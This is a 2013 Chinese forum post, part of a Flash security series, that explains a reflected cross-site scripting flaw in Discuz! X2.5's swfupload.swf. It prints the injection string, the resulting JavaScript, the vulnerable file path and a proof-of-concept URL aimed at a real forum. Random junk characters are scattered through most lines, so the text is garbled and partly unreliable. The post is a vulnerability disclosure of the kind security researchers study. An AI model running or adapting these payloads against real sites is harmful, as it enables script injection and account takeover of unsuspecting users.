找回密码
 立即注册
查看: 2683|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说5 g" B5 W5 {! b/ X& @- Q
. r& N$ V7 `, s" N0 v! s
flash.external.ExternalInterface.call($methodName, $parameter)! j9 ~# N! d# A. C
在浏览器中执行的是* I' E! }- L# T
" N: P! o5 M- s: r" n
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
( w; W- w) n0 I1 V; L对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如& e2 `, A/ G% }8 [- N6 u

1 H9 y) k8 x, Zflash.external.ExternalInterface.call("object."+$methodName, $parameter)
7 o* I* W* o% D6 _$methodName = a())}catch(e){alert(/xss/)}//
8 {- ?. k5 i+ E结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。' }" E) b" Z* P! N3 |" G

& b% ^% k' G: q! Itry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
# ~1 f7 f+ z0 x$ {' {, n$ v0 L% ^" _) p; G; _, \$ ]0 d
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
7 L" h/ q8 Y! l4 t6 k# H; c4 z杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。: y' ~1 ^' K4 U  y- k. Y

" N" n& f- t/ O, l5 K1 R: @6 F! Z6 i

! @6 }* }/ E9 [6 j: ^& S漏洞文件:upload\static\image\common\swfupload.swf8 W/ [- m  K2 u4 y# D# ~9 `5 x

( i+ P/ [+ u4 n- P原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf6 t/ R' a4 J2 `6 m. z

# q: q# \$ Y4 A
9 a& d- h# R' n+ p漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
( l/ M! D! x8 D/ x6 I" M) B' Q  B6 M8 C
) g0 G" s( D; {8 u2 m, G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表